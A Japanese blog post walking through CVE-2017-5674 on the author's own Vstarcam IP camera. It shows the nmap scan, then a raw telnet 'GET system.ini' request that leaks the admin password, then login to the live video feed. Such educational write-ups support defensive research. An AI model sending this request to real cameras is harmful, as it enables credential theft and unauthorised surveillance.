IoT: Webカメラで遊んだ話
はじめに
先日下記のツイートがTLに流れてきました.
NHK ニュースウオッチ9
— あかん食堂 (@11942694) 2019年1月25日
▽サイバー攻撃対策?家庭のIoT機器に国が“無差別侵入”調査▽東京
ホワイトハッカーがテレビにでてた。
しらんけど( ^ω^) pic.twitter.com/34tS9HuXGS
CVE-2017-5674
が遂にTVデビューしましたね (ちょっとテンションがあがった).
今回は二番煎じですがWebカメラとCVE-2017-5674
について色々と書いていきます(唐突).
Webカメラ
モデル
今回はVstarcam C7823WIP Mini WIFI IP Camera
を使って検証していこうと思います.
上記の動画で扱っていたWebカメラも恐らくVstarcam
だと思います.
【KEIAN/恵安】 VSTARCAM Mini WIFI IP Camera 技術基準適合認定済み有線/無線LAN対応ネットワークカメラ C7823WIP
- 出版社/メーカー: KEIAN
- 発売日: 2015/10/08
- メディア: Personal Computers
- この商品を含むブログを見る
ファームウェアのバージョン
CVE-2017-5674
A vulnerability in a custom-built GoAhead web server used on Foscam, Vstarcam, and multiple white-label IP camera models allows an attacker to craft a malformed HTTP ("GET system.ini HTTP/1.1\n\n" - note the lack of "/" in the path field of the request) request that will disclose the configuration file with the login password.
CVE-2017-5674
とは 不正な形式のHTTPリクエストを送ることでVstarcam
などのIPカメラで使用されるGoAhead webサーバの設定ファイル(ログインパスワードを含む)が公開されてしまう脆弱性です.
検証
WebカメラのIPアドレスの特定
> arp -a | grep 48:2:2c ? (192.168.2.3) at 48:2:2c:40:87:15 on en0 ifscope [ethernet]
WebカメラのIPアドレスは192.168.2.3
であることが分かりました.
ポートスキャン
> nmap -p- -sV 192.168.2.3 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-29 01:50 JST Nmap scan report for 192.168.2.3 Host is up (0.024s latency). Not shown: 65530 closed ports PORT STATE SERVICE VERSION 23/tcp open telnet security DVR telnetd (many brands) 81/tcp open http GoAhead WebServer 9600/tcp open tcpwrapped 10080/tcp open amanda? 10554/tcp open rtsp Nmap done: 1 IP address (1 host up) scanned in 62.99 seconds
ポートスキャンの結果からGoAhead WebServer
は81/tcp
で動いていることが分かりました.
補足
ファームウェアのバージョンが異なるモデルではhttp
はランダムポートになっています.
81/tcpにアクセス
ユーザ名とパスワードの入力を求めらます.
パスワードの漏洩
CVE-2017-5674
の通りに不正なGETリクエストを送信して設定ファイルを漏洩させます.
> telnet 192.168.2.3 81 Trying 192.168.2.3... Connected to 192.168.2.3. Escape character is '^]'. GET system.ini HTTP/1.1 200 OK Date: Mon Jan 28 17:06:13 2019 Server: GoAhead-Webs Last-modified: Mon Jan 28 16:40:00 2019 Content-length: 4052 Content-type: text/plain Cache-Control:no-cache Connection: close IPCAM������������������������������������������`0O\���time.nist.gov/ adminp4ssw0rd ~~~~������������������������������������������5W �W G �� �j R :)VSTB000000ABCDE192.168.1.126Connection closed by foreign host.
admin
, p4ssw0rd
が降ってきました.
再度81/tcpにアクセス
先程漏洩させたユーザ名とパスワードを使って81/tcp
にアクセスしてみると管理画面が表示されました.
Sign in
適当にSign in
するとカメラの映像が表示されます.
その他
Vstarcam C7823WIP Mini WIFI IP Camera
はCVE-2017-5674
以外にも面白い情報を提供してくれるので雑に紹介します.
初回起動時にユーザ名とデフォルトパスワードが平文で流れる
パケットキャプチャすると見えます.
www[.]baidu[.]com
何のためかは分かりませんがiPhoneアプリから接続するとwww[.]baidu[.]comの名前解決をします.
AWSとの通信は何となく目的が分かるのですがbaiduとは何やってるんだろう?
まとめ
参考文献
動画の方の資料を参考にさせていただきました.
IoTSecJP ~製造と販売の問題~
http://ruffnex.net/iotsecjp/pdf/vuln.pdf